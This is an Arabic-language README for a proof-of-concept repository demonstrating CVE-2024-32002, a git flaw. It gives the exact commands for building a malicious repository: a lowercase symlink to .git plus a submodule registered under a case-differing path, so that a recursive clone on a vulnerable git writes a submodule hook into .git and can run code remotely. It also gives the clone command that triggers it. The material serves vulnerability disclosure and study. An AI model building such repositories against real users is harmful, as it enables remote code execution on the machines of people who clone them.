CVE-2024-32002 PRC AW
A POC لـ CVE-2024-32002 توضح الكتابة التعسفية إلى دليل .git.
انظر إلى cve-2024-32002-submodule-aw للمستودع المرتبط بالوحدة الفرعية.
ماذا يحتوي هذا المستودع
- رابط رمزي (symlink) باسم عشوائي يشير إلى دليل
.git.
- ملف
.gitmodules يعرّف الوحدة الفرعية الخبيثة.
كيفية إعادة إنشاء هذا المستودع
تم إنشاء هذا المستودع في لينكس (WSL2 تحديدًا). هذا مهم، إذ لا يمكن إنشاء المستودع الخبيث إلا على نظام ملفات حساس لحالة الأحرف.
- أنشئ رابطًا رمزيًا باستخدام أحرف صغيرة (lowercase) فقط
ln -s .git submodule
ملاحظات:
- يجب أن يشير الرابط الرمزي إلى مجلد .git، لأننا نريد كتابة الملفات هناك.
- اسم الرابط الرمزي (submodule) عشوائي، لكن يجب أن يبدأ بحرف صغير.
- هذا مهم، لأن الأحرف الصغيرة تُرتَّب قبل الأحرف الكبيرة. عندما يُصاب الجهاز المستنسِخ بالارتباك حول مكان كتابة ملفات الوحدة الفرعية، نريده أن يختار الرابط الرمزي وليس دليلًا عاديًا.
- أضف الوحدة الفرعية الخبيثة، مع ملاحظة اختلاف حالة الأحرف في اسم دليل الوحدة الفرعية
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
ملاحظات:
- اسم الوحدة الفرعية مهم، وسيلعب دورًا عند وضع الخطاف (hook) في الوحدة الفرعية.
- يجب أن يطابق المقطع الأول من مسار الوحدة الفرعية ("Submodule") اسم الرابط الرمزي أعلاه، مع اختلاف حالة الأحرف فقط.
- يجب أن يحتوي المسار على مقطع آخر واحد على الأقل، لأن git يستنسخ الوحدات الفرعية فقط في دليل فارغ. لكنه سينشئ الأدلة لنا، لذلك اخترنا "notexists" لتوضيح ذلك.
كيفية تشغيل POC
- تحقق مما إذا كان لديك إصدار ضعيف من git. راجع التنبيه الأمني على GitHub للإصدارات المتأثرة.
git --version
- فكّر فيما إذا كنت تريد عن قصد تشغيل أمر قد يحقق تنفيذًا عن بُعد (RCE)... هذا المستودع غير ضار، لكن هل أنت متأكد؟
- شغّل الأمر التالي:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- ألقِ نظرة داخل دليل .git. هل ترى شيئًا في غير مكانه؟ تلميح: ما الملفات الموجودة في الوحدة الفرعية.